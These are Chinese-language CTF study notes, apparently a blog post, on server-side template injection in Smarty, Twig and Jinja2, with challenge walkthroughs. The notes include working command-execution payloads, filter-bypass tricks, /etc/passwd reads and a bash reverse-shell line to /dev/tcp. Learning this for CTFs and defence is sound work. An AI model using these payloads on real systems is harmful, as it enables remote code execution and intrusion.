SSTI模板注入
一、如何判断一个模板引擎是什么?
1. 根据编程语言
2. 根据下述图片
二、判断模板注入的注入点的方法
|
基本上就两种情况
1. SSTI
2. XSS
三、Smarty SSTI
1. 什么是Smarty SSTI
Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。
2. 模板注入的办法
{$smarty.version} {system("ls")} {if show_source('/flag')}123{/if}
3. 例题
例题1:[BJDCTF2020]The mystery of ip
1.点击网站中的flag文件,发现弹出的是本机的IP
2.猜测使用传入X-Forwarded-For为本机,构造如下
3.判断是否为SSTI模板注入,传入{7*7}发现显示为49,即存在SSTI模板注入
4.尝试传入系统命令:{$smarty.version}、{system("ls")}、{system("cat /flag")}
获取flag
例题2:[CISCN2019 华东南赛区]Web11
1.发现右上角有ip,尝试修改XFF
2.system("cat /flag")
例题3:由红明谷Web引出的漏洞
https://blog.csdn.net/RABCDXB/article/details/123750375
Smarty_Version=‘3.1.39’ 存在漏洞
Poc如下:
//无过滤 {function+name='rce(){};system("id");function+'}{/function} //有过滤 /进行换行绕过 data={function+name='rce(){};system("id");function%0A%0A'}{/function}
四、Twig SSTI
1. Twig是什么
|
2. 注入方法
{{self}}2 {{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}}
五、Flask Jinja2 SSTI
1. Jinja2 是什么
|
2. 核心思路
找 __globals__
|
如果存在Bypass过滤点
|
3. 关键字
核心思想:转换为字符串,再做字符串的各种操作
1.拆分思想
a.__class__ <=> a['__class__'] <=> a|attr('__cla'+'ss__')
2.利用__getattribute__ + a.__class__ <=> a.__getattribute__('__cla'+'ss__')
3.利用request取参数 (request.headers.xx)request.args.xx
4.字符串的格式化,join()拼接,字符串的编码等
4. 中括号
- 中括号和点相互转化
- b['x'] <=> b.__getitem__('x')
{{
//⾸先利⽤这个判断是否能执⾏代码: {% if url_for.__globals__.__builtins__.__import__('os').popen('echo x').read()=='x \n' %} if进来啦!{% endif %}
接着 echo x 换成反弹shell的代码即可
bash -i >& /dev/tcp/ip:port 0>&1
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 25岁的心里话
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现